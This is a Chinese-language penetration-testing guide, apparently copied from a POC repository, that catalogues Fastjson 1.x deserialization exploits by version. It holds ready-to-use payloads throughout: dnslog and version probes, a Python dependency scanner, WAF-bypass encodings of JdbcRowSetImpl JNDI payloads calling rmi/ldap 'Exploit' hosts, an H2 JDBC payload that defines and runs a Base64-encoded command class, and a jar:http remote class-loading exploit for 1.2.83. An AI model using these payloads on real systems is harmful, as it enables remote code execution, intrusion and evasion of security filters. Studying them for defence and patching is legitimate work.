Files
Penetration_Testing_POC/books/Fastjson1全版本漏洞利用总结.md

3353 lines
104 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Fastjson1全版本漏洞利用总结
> 来源:https://xz.aliyun.com/news/92638
# 前言
网上很多 Fastjson 文章由于时间原因,对利用链的整理都不是很齐全,所以笔者自己做个整理,方便复习和利用。
这里主要做整理,并简要分析几个关键版本的绕过原理,力求让读者能够在简单理解的基础上,快速对相应版本进行利用。
文章涉及的部分代码见:[https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson](https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson)
本文主要的目标是:
1、梳理 Fastjson1 反序列化流程,以及 parse / parseObject 的差异 2、整理探测手段(版本、依赖、期望类)与常见 WAF 绕过 3、按版本整理关键绕过与利用链(47 / 68 / 80 / 83 等),并简要分析原理 4、补充「写文件 → RCE」的落地思路,以及配套脚本
让我们开始吧。
# 反序列化流程
先抛一个实际利用里经常碰到的问题:如果某个字段既出现在 public 有参构造里,又有 setter,那 Fastjson 到底走哪条路?
## 存在无参构造
● Fastjson 首先调用无参构造函数(`new ClassName()`)实例化对象
●解析 JSON 中的键值对
● 通过反射调用该字段对应的 Setter(`setFieldName(...)`)把值注入进去
●此时有参构造会被忽略
## 不存在无参构造
●Fastjson 检测到没有无参构造后,会尝试匹配参数最多的有参构造
●从 JSON 里抽出对应构造参数的值
● 调用有参构造函数(`new ClassName(arg1, arg2...)`)实例化对象
●如果 JSON 里还有不在构造参数列表中的字段,且这些字段有 Setter,则会在实例化后再调用那些 Setter
## 使用了@JSONCreator 注解
如果在构造函数(或静态工厂方法)上标了 `@JSONCreator`,Fastjson 会强制走该构造,不管有没有无参构造或 Setter,值都通过构造注入。安全研究场景里比较少见。
所以可以利用的入口主要是 setter,或者有参构造。有参构造是从 JSON 内层执行到外层的。
KCON2022 里也有一张比较直观的图:
![](https://i.im.ge/QMVpVqa/p2m-6e4c7e587b.png)
## parse和parseObject
更细的源码分析见:[Fastjson源码分析 | 1diot9's Blog](https://1diot9.github.io/2025/12/04/Fastjson源码分析/)
这里先记结论,后面写 payload 时不容易绕晕:
`parse` 和多参 `parseObject` (存在期望类) 行为接近,都会调用 setter,以及符合条件的 getter,如下图:
![](https://i.im.ge/QMVpZnx/p2m-372c0a33a9.png)
● 单参 `parseObject` 会额外触发所有 public getter
`parse` 反序列化且不指定类型时,可以通过 `$ref` 触发 getter
● 默认只能触发 public 方法,除非开启了 `Feature.SupportNonPublicField`
# 写文件如何 RCE
Fastjson 高版本利用里,写文件链出现得很多。写完文件之后怎么落到 RCE,可以参考:
[https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA)
大致可以概括成下面几类:
1、计划任务 / sshkey,通常需要 root 2、写 jsp 等 webshell,不适用于纯 jar 部署 3、写 jar 覆盖 `jre/lib`,最经典的是覆盖 `charsets.jar`;没法写二进制时,可以考虑 ascii jar:[https://github.com/c0ny1/ascii-jar](https://github.com/c0ny1/ascii-jar) 4、写 jre classes,需要知道并创建目录,还要有入口点 5、写 classes + SPI,同样需要知道目录并能创建目录 6、写 tomcat-docbase class,需要知道目录,且依赖特定 ClassLoader(基本限制在 Fastjson 利用场景)
其中方法 3~5 基本只在 JDK8 下好用。
# 探测
## Fastjson 判断
1、根据报错信息判断
故意破坏 JSON,看报错回显:
```json
{"age":20,"name":"Bob"
```
也可以用 `@type` 探一下 AutoType 是否开启:
```json
{"@type":"whatever"}
```
2、根据解析变化判断
```json
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}
{"ext":"blue","name":{"$ref":"$.ext"}}
```
![](https://i.im.ge/QMVpWxG/p2m-f41c2c32c2.png)
3、DNS 请求
不出网时,也可以根据响应时间是否变长来间接判断:
```json
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
```
4、区别 Jackson
```json
// 多余的类成员: 添加一个键值 testjackson会报错,fastjson不会
{"age":20,"name":"Bob","test":1}
// jackson 不支持单引号作为界定符
{"age":20,'name':'Bob'}
// jackson 可以使用注释符/*#fastjson 会报错,fastjson的注释符是 //
{
"age":20,
"name":'Bob'
}/*#aaaa
// jackson 会丢失精度
{
"age":20.111111111111111111111111111,
"name":'Bob'
}
```
5、区别 Gson
```json
// 浮点类型精度丢失
{a:1.111111111111111111111111111}
// 注释符
#\r\n{a:1}
```
![](https://i.im.ge/QMVpfPJ/p2m-06ce5a33ac.png)
6、区别 org.json
```json
// 特殊字符
{a:'\r'}
```
![](https://i.im.ge/QMVpkky/p2m-9204805225.png)
## 版本探测
参考:[https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA)
1、AutoType 探测
```json
{"xxx":{"@type":"java.lang.Class","val":""}}
{"xxx":{"@type":"Random.String"}}
```
开启 AutoType 时:payload1 报错,payload2 不报错
`autoType is not support. java.lang.Class`
未开启 AutoType 时:payload1 不报错,payload2 报错
`autoType is not support. Random.String`
2、AutoCloseable 精确探测
```json
{
"@type": "java.lang.AutoCloseable"
```
注意:Fastjson 1.2.76 之后,即使用这种方式,探测结果也会停在 1.2.76。
3、1.2.83 具体探测
```json
{"xxx":{"@type":"Test.TestException"}}
```
只有 1.2.83 时不报错。
4、dnslog 探测大致版本
```json
// <=1.2.47
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "aaa.xxxx.ceye.io"
}
}
]
// <=1.2.68
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "bbb.n41tma.ceye.io"
}
}
]
// <=1.2.80 只收到第一个dns请求,1.2.83 收到两个dns请求
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ccc.4fhgzj.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ddd.4fhgzj.dnslog.cn"
}
}
}
]
```
5、不出网探测:根据响应是 500 还是正常判断
[https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA)
```latex
【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl"
}
}
【不报错】1.2.24 【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
```
## 依赖探测
1、Character 转换报错
```json
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}}
```
类存在时会报 `can not cast`,不存在则往往是 `No message available`
一些相关依赖类:
```latex
org.springframework.web.bind.annotation.RequestMapping //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources //C3P0
org.apache.ibatis.datasource.unpooled.UnpooledDataSource //mybatis
org.h2.jdbcx.JdbcDataSource //h2
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
jdk.nashorn.tools.Shell //JDK8
java.net.http.HttpClient //JDK11
com.sun.org.apache.bcel.internal.util.ClassLoader // <= jdk8u251
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.dbcp.BasicDataSource //commons-dbcp <= 1.4
org.apache.commons.dbcp2.BasicDataSource //commons-dbcp2 <= 2.13.0
org.apache.commons.io.ByteOrderMark //commons-io-通用类,不确定版本
org.apache.commons.io.Java7Support //commons-io-2.5独有
org.apache.commons.io.IOIndexedException //commons-io-2.7独有
org.apache.commons.io.file.Counters //commons-io-2.7-2.8独有
org.apache.commons.io.FileSystem //commons-io-2.7独有
org.apache.commons.io.file.PathUtils //commons-io-2.7独有
org.apache.commons.io.function.IOConsumer //commons-io-2.7独有
org.aspectj.ajde.Ajde //aspectjtools
com.fasterxml.jackson.core.exc.InputCoercionException //jackson
org.python.antlr.ParseException //jython
org.postgresql.jdbc.PgConnection //postgre
```
配套脚本:
```python
import requests
import os
def jar_scanner(url: str, timeout: int = 10) -> list:
"""
扫描目标URL的fastjson依赖库
Args:
url: 目标URL
timeout: 请求超时时间(秒)
Returns:
list: 检测到的依赖列表
"""
base_dir = os.path.dirname(os.path.abspath(__file__))
jar_list_path = os.path.join(base_dir, "poc", "jarList.txt")
jar_scan_path = os.path.join(base_dir, "poc", "jarScan.json")
# 读取jarScan.json模板(畸形JSON,直接读取文本)
with open(jar_scan_path, "r", encoding="utf-8") as f:
poc_template = f.read()
# 读取jarList.txt
with open(jar_list_path, "r", encoding="utf-8") as f:
lines = f.readlines()
detected_jars = []
for line in lines:
line = line.strip()
if not line or "//" not in line:
continue
# 按 // 划分,获取类名和依赖说明
parts = line.split("//")
clazz = parts[0].strip()
description = parts[1].strip() if len(parts) > 1 else ""
# 替换POC模板中的${clazz}
poc_data = poc_template.replace("${clazz}", clazz)
try:
# 发送POST请求,使用data=发送原始数据
response = requests.post(
url,
data=poc_data,
headers={"Content-Type": "application/json"},
timeout=timeout
)
# 检查响应中是否包含 "can not cast to char"
if "can not cast to char" in response.text:
result = f"\033[92m[+] 发现依赖: {description} ({clazz})\033[0m"
print(result)
detected_jars.append({
"class": clazz,
"description": description,
"line": line.strip()
})
else:
print(f"[-] 未检测到: {description} ({clazz})")
except requests.exceptions.Timeout:
print(f"[!] 请求超时: {clazz}")
except requests.exceptions.RequestException as e:
print(f"[!] 请求失败: {clazz} - {e}")
except Exception as e:
print(f"[!] 异常: {clazz} - {e}")
return detected_jars
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python main.py <target_url>")
print("Example: python main.py http://example.com/api")
sys.exit(1)
target_url = sys.argv[1]
print(f"[*] 开始扫描目标: {target_url}")
print("=" * 60)
results = jar_scanner(target_url)
print("=" * 60)
print(f"[*] 扫描完成,共发现 {len(results)} 个依赖")
```
2、dnslog
```json
{"@type":"java.net.Inet4Address",
"val":{"@type":"java.lang.String"
{"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale",
"language":{"@type":"java.lang.String"
{1:{"@type":"java.lang.Class","val":"TARGET_CLASS"}},
"country":"x.l56y7u6g.dnslog.pw"
}}
}
```
![](https://i.im.ge/QMVpHFS/p2m-22f9829569.png)
我本地试了好几次一直不行:
![](https://i.im.ge/QMVpp9z/p2m-591e5a3c53.png)
## 判断是否存在期望类
[https://mp.weixin.qq.com/s/7c\_zi5Pv4a69IV0zzJo5Ww](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww)
黑盒里经常会碰到:入口到底是 `JSON.parse(json)`,还是 `JSON.parseObject(json, Xxx.class)` / Spring 参数绑定带了期望类?两者后面能用的链差很多,有必要先探一下。
像下面这种写法,反序列化时就带着期望类:
```java
JSONObject.parseObject(payload, Test.class)
```
Spring 配了 Fastjson 做参数解析时,框架层也会在反序列化参数时塞进期望类。可以在原请求参数上叠一层来测:
```json
{"@type":"com.alibaba.fastjson.support.geo.Feature"}
```
例如原始请求:
```json
{"username":"admin","password":"123456"}
```
改成:
```json
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"username": "admin",
"password": "123456"
}
```
如果原参数是数组,可以写成:
```json
[
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"username": "admin",
"password": "123456"
}
]
```
报错 → 该反序列化点存在期望类。
注意:`com.alibaba.fastjson.support.geo.Feature` 是 1.2.68 才引入的,顺便也能用来判断版本是否低于 1.2.68。
还有一个更抽象一点的写法:
```json
{{}:{}}
```
结合原参数:
```json
{
{}: {},
"username": "admin",
"password": "123456"
}
```
若存在期望类,且期望类型不是 `Map` 及其子类,一般会报错。再改成嵌在字段里的形式,往往就不报错了:
```json
{
"test": {
{
{}: {}
}: ""
},
"username": "admin",
"password": "123456"
}
```
存在期望类时,利用上会多两道限制:
1、靠 getter 触发的 payload,大多数打不起来 2、`$ref` 引用基本用不了——结果会被转成期望类对象,引用只能落到期望类已有的成员上;成员多半是 String / 数字,而链子里要引用的往往是对象,类型一对不上就断了(比如 commons-io 读文件那套就很难直接用)
后文「小技巧」里的 `java.util.Currency`,就是针对「有期望类还想触发 getter」的一种绕法。
# WAF 绕过
Unicode / hex 编码:
```json
{"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}}
```
多个逗号:
```json
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true }
```
`_``-` 绕过:
Fastjson 解析 JSON 字段 key 时,会把 `_``-` 替换为空。1.2.36 之前二者只能单独用;1.2.36 及之后支持混合使用。
```json
{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
```
字符填充:
和 SQL 注入里类似,有些 WAF 会放行体积过大的数据包:
```json
{
"@type":"org.example.User",
"username":"1",
"f":"a*20000" //2万个a
}
```
Unicode 再绕过:
[炒冷饭之FastJson](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww)
```json
{"\u+040\u+074\u+079\u+070\u+065":"java.lang.AutoCloseabl\u+065"
```
当然还有GhostBytes
[https://mp.weixin.qq.com/s/fIvmKkT6e8d8PY5OruG4mw](https://mp.weixin.qq.com/s/fIvmKkT6e8d8PY5OruG4mw)
更完整的议题材料见:[https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf](https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf)
核心思路是:解析侧在把「宽字符 / 非标准 hex」还原成目标字节时过于宽松(或直接 `char → byte` 丢高位),WAF 按字面匹配不到 `@type` 这类特征,后端却能解出真正的关键字符。落到 Fastjson 上,主要是 `\x` / `\u` 两处。
1、`\x` 绕过
常见写法:
```json
{"\x40type":"java.awt.Rectangle"}
```
解析时会建一个 `int[103]` 的 digits 表,只在 `0-9A-Fa-f` 位置填真实值,其余下标默认都是 0。于是 `\x40` 实际是 `digits['4']*16 + digits['0'] = 0x40`。既然没占位的地方本来就是 0,第二个字符根本不必是 `0`,任意非 hex 字符都行,比如 `J``_`
```latex
digits['4']*16 + digits['J'] = 0x40 → '@'
digits['4']*16 + digits['_'] = 0x40 → '@'
```
应用例子:
```json
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true}
{"\x4Jtype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true}
```
WAF 看到的是 `\x4_type` / `\x4Jtype`Fastjson 解出来仍是 `@type`
2、`\u` 绕过
```json
{"\u0040type":"java.awt.Rectangle"}
```
跟进会发现用了 `Character.digit(c, 16)` 取 hex 值。它不只认 ASCII 的 `0-9a-f``char` 在 065535 范围内还有大量 Unicode 数字可以冒充 hex(如泰文数字、全角数字等)。最终效果和正常 `\u0040` 一样能解出 `@`,但字面特征已经被拆散,WAF 更难直接拦。
```json
{"\u๐๐੪๐type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true}
```
和前面的 `\u+`、hex、多逗号等技巧可以叠着用。原文里还展开了 Jackson、BCEL、Tomcat 上传、URLDecoder 等同类问题,这里只记和 Fastjson WAF 绕过直接相关的两点。
# 期望类绕过触发getter
## $ref 触发getter
[https://xz.aliyun.com/news/16117](https://xz.aliyun.com/news/16117)
`parse` / `parseObject` 不指定类型时,可以通过 `$ref` 触发任意字段的 getter。
## java.util.Currency 触发所有 getter
[https://mp.weixin.qq.com/s/7c\_zi5Pv4a69IV0zzJo5Ww](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww)
大致原理是:把 key 设成 JSONObject,但 key 又得转成字符,于是会调 `JSONObject.toString`。原生反序列化里也碰到过这个点,getter 就被带起来了。
`java.util.Currency` 是 MiscCodec 里要求这样写的(改成 `currencyCode` 也可以):
![](https://i.im.ge/QMVpvR6/p2m-42d866527f.png)
可以用 java-chains 直接生成:
![](https://i.im.ge/QMVpnTF/p2m-751bc50391.png)
```json
{
"x": {
"@type": "java.util.Currency",
"val": {
"currency": {
"xx": {
【payload】
}
}
}
}
}
// 例子
{
"x": {
"@type": "java.util.Currency",
"val": {
"currency": {
"xx": {
"x1": {
"@type": "java.lang.Class",
"val": "org.h2.jdbcx.JdbcDataSource"
},
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"yv66vgAAADIAQAEAYG9yZy9hcGFjaGUvY29tbW9tcy9iZWFudXRpbHMvY295b3RlL3Nlci9zdGQvQnl0ZUJ1ZmZlclNlcmlhbGl6ZXIyN2Q2MDNmZDM4ZjE0YTVlOWJiYTRjYjc5Mzg2NDllZgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"
}
}: {}
}
}
}
}
}
```
下面的 payload 里,有一部分是按 `JSON.parse()` 写的,没考虑反序列化时存在期望类。如果反序列化点带了期望类,就得再套一层 Currency,才能把 getter 触发起来。
# 1.2.83
最近 83 又出了新洞,先放最上面分析。
## 写文件 + JSONType
[https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/](https://flowerwind.github.io/2025/02/28/分享一次组合漏洞挖掘拿下目标/)
配合写文件漏洞,依然有可能 getshell。
83 通过 `@type` 加载类时有白名单,但可以通过 `@JSONType` 等注解绕过:
![](https://i.im.ge/QMVpG4X/p2m-5857cbcac0.png)
这时候配合写 tomcat-docbase,或写 jar 进类加载路径,再用 `@type` 触发,依然有机会 getshell。
## CVE-2026-16723 jar:http / jar:file 加载
根因是:在特定运行环境下,特定 ClassLoader 能接受 `jar``http` 等协议,从远程或本地加载字节码,把带 `@JSONType` 注解的恶意类塞进 JVM,再在 Fastjson 反序列化时完成初始化。
测试用的 poc 有三种:
```json
{
"@type": "jar:http:..localhost:9192.CalcJType!.CalcJType"
}
{
"@type": "http:..localhost:9192.CalcJType"
}
{
"@type": "jar:file:.D:.CalcJType!.CalcJType"
}
```
测试靶场:
[https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/target](https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/target)
● tomcat 那个是 SpringBoot 内嵌 tomcat,没法用 `jar:http`
● 另一个是内嵌 undertow,可以用 `jar:http`
复现时必须用 jar 包形式启动,不能直接在 IDEA 里跑。类加载器不一样,会导致复现失败。
### jar:http 利用
#### undertow
先启动 undertow 的 jar。
直接看漏洞点代码:
![](https://i.im.ge/QMVpB39/p2m-eb4d0be3cc.png)
上图第一个断点会对传入的 `typeName` 做替换,把点号全部换成斜杠。所以如果我们传入的类名是 `jar:http:..localhost:9192.CalcJType!.CalcJType`,替换后就变成 `jar:http://localhost:9192/CalcJType!/CalcJType.class`
![](https://i.im.ge/QMVp4LK/p2m-15e03acd28.png)
`defaultClassLoader` 默认为 null,于是 `ParserConfig.class.getClassLoader()` 拿到的类加载器就很关键,直接决定能不能加载到 `jar:http` 这类协议指向的字节码。
这里拿到的是 `org.springframework.boot.loader.LaunchedURLClassLoader`。注意,这个类只有打成 fat jar 之后才会有,所以得自己把 fat jar 也加到 IDEA 的库里才能搜到。
![](https://i.im.ge/QMVvTzM/p2m-98e68cfd1a.png)
可以看到,这个类加载器继承自 `URLClassLoader`,因此能解析 `jar``http` 这类协议。
跟进 `getResourceAsStream`
![](https://i.im.ge/QMVvQth/p2m-1c16aec983.png)
这里会请求两次远程资源。第一次在:
```java
URL url = getResource(name);
```
这次不开启缓存,拿完输入流就关掉,效果相当于探活。
![](https://i.im.ge/QMVvXFY/p2m-a5e7ea34a5.png)
第二次在:
```java
InputStream is = urlc.getInputStream();
```
这里再次拿输入流,并且会默认缓存:
![](https://i.im.ge/QMVvFTC/p2m-b5fbb35a6f.png)
接着回到 `checkAutoType`。此时会走 Fastjson 自写的 asm 机制,检查拿到的类有没有 `@JSONType`
![](https://i.im.ge/QMVvrR4/p2m-f85685c9af.png)
类上带注解时,就会直接进入 `TypeUtils.loadClass`,效果接近开启了 `autoTypeSupport`,而且还开了类缓存,后面可以反复触发。
跟进到 `loadClass`
![](https://i.im.ge/QMVvljD/p2m-7c8b88635c.png)
这里能不能打通,同样取决于拿到的类加载器,这里还是 `LaunchedURLClassLoader`。可以看到,`className``jar:http:..localhost:9192.CalcJType!.CalcJType`。这个类名很怪,平时在 IDEA 里命名类根本不允许这种格式;但实际上 JVM 对类名的包容性很强,上面这种名字是允许的,只是得用脚本去改类名。
![](https://i.im.ge/QMVv24P/p2m-189a18548c.png)
脚本在:[https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/classNameModefier.py](https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/classNameModefier.py)
![](https://i.im.ge/QMVvOUq/p2m-582cfe98a5.png)
脚本会改掉 `CalcJType` 的实际类名,并打成一个无扩展名的 jar,用来触发漏洞。
继续跟 `loadClass`,看看 `LaunchedURLClassLoader` 怎么处理这个奇怪类名。
先走双亲委派,一直向上到 bootstrap 尝试 `loadClass`。父加载器都 load 不到时,才让子加载器去 `findClass`,这里就是 `java.net.URLClassLoader#findClass`
![](https://i.im.ge/QMVv13p/p2m-c7ebe30871.png)
![](https://i.im.ge/QMVvqtf/p2m-fb0a0c85fd.png)
执行 `run` 时,会先替换成斜杠并拼上 `.class`,从而指向我们托管恶意 jar 的服务,拿类文件字节码,再 `defineClass`。值得注意的是,最终 `defineClass` 里的 name 仍然是 `jar:http:..localhost:9192.CalcJType!.CalcJType`,但刚才 python 脚本设的类名是:
![](https://i.im.ge/QMVvds1/p2m-bea8390e08.png)
说明 `defineClass` 的 JNI native 代码里,会把点号换成斜杠,这也和上面 JVM 类名字符集范围的结论对得上。
![](https://i.im.ge/QMVvszm/p2m-a23c58138b.png)
至此,jar 里那个类名很怪的恶意类就成功进 JVM 了,并且被 Fastjson 缓存:
![](https://i.im.ge/QMVv7Or/p2m-543de73a58.png)
最终在这个方法里触发类初始化:
![](https://i.im.ge/QMVvDjW/p2m-8fcf4729d9.png)
#### tomcat
上面是 undertow 的情况。换成 tomcat 的 jar 远程调试,看看卡在哪一步。
唯一不同的是最后的类加载器:
![](https://i.im.ge/QMVvIW0/p2m-036594fbb9.png)
这里是 `TomcatEmbeddedWebappClassLoader`,不是 `LaunchedURLClassLoader`
直接在 `org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader#loadFromParent` 断点:
![](https://i.im.ge/QMVviYL/p2m-7df3d69bad.png)
可以看到,这里传入的 loader 其实还是 `LaunchedURLClassLoader`,理论上能加载 name 里 `jar:http` 对应的资源,因为 `forName` 最终还是走 `loader.loadClass`
再跟一步:
![](https://i.im.ge/QMVvhUc/p2m-8fab43654d.png)
能发现是在 `forName0` 这个 native 层报错了。
原因是:`forName0` 不允许类名里出现双斜杠,而我们的 `http://` 里就有双斜杠,所以加载失败。
具体 native 调用如下([https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c):](https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c):)
`Java_java_lang_Class_forName0``VerifyClassname``skip_over_fieldname`
![](https://i.im.ge/QMVvUoT/p2m-d6d2619260.png)
undertow 在 `loadClass` 时走的是双亲委派,最后由 `java.net.URLClassLoader#findClass` 去加载,本身就支持协议加载。
不过到了 JDK11 及以上,`URLClassLoader#findClass` 也加载不了了——因为最终依赖 `defineClass` 的 native 定义类,而高版本 native 同样不允许类名出现连续斜杠。
具体调用:
`Java_java_lang_ClassLoader_defineClass1``JVM_DefineClassWithSource``jvm_define_class_common``SystemDictionary::resolve_from_stream``KlassFactory::create_from_stream``ClassFileParser::ClassFileParser``parse_stream``parse_constant_pool``verify_legal_class_name``verify_unqualified_name`
[https://raw.githubusercontent.com/openjdk/jdk/refs/tags/jdk-11%2B28/src/hotspot/share/classfile/classFileParser.cpp](https://raw.githubusercontent.com/openjdk/jdk/refs/tags/jdk-11%2B28/src/hotspot/share/classfile/classFileParser.cpp)
![](https://i.im.ge/QMVv9sx/p2m-aa816ce567.png)
### jar:file 利用
payload
```json
{
"@type": "jar:file:.D:.CalcJType!.CalcJType"
}
```
点号转换后不会出现连续斜杠,所以 tomcat / undertow 都能打通;缺点是要结合文件上传或文件缓存。分析过程和 `jar:http` 一样,只是最后 `LaunchedURLClassLoader` / `URLClassLoader` 解析的协议不同。
文件缓存一般利用 `/proc/self/fd/x`。可以先通过 `jar:http` 把 jar 缓存下来(jar 里塞多个预设好的 class),再爆破 `jar:file:.proc.self.fd.x!.CalcJType` 去触发。
### 其他协议
#### http 利用
步骤和 `jar:http` 几乎一致。
先改类名:
![](https://i.im.ge/QMVv04G/p2m-7bd4b0a6a5.png)
只有 `getResourceAsStream` 那里不一样:
![](https://i.im.ge/QMVvjya/p2m-c379e37eb0.png)
拿到的是 `HTTPURLConnection`,没有缓存操作,直接返回。后续 `loadClass` 仍然主要取决于类加载器。
#### file 利用
```json
{
"@type": "file:.D:.CalcJType"
}
```
### IP 转换问题
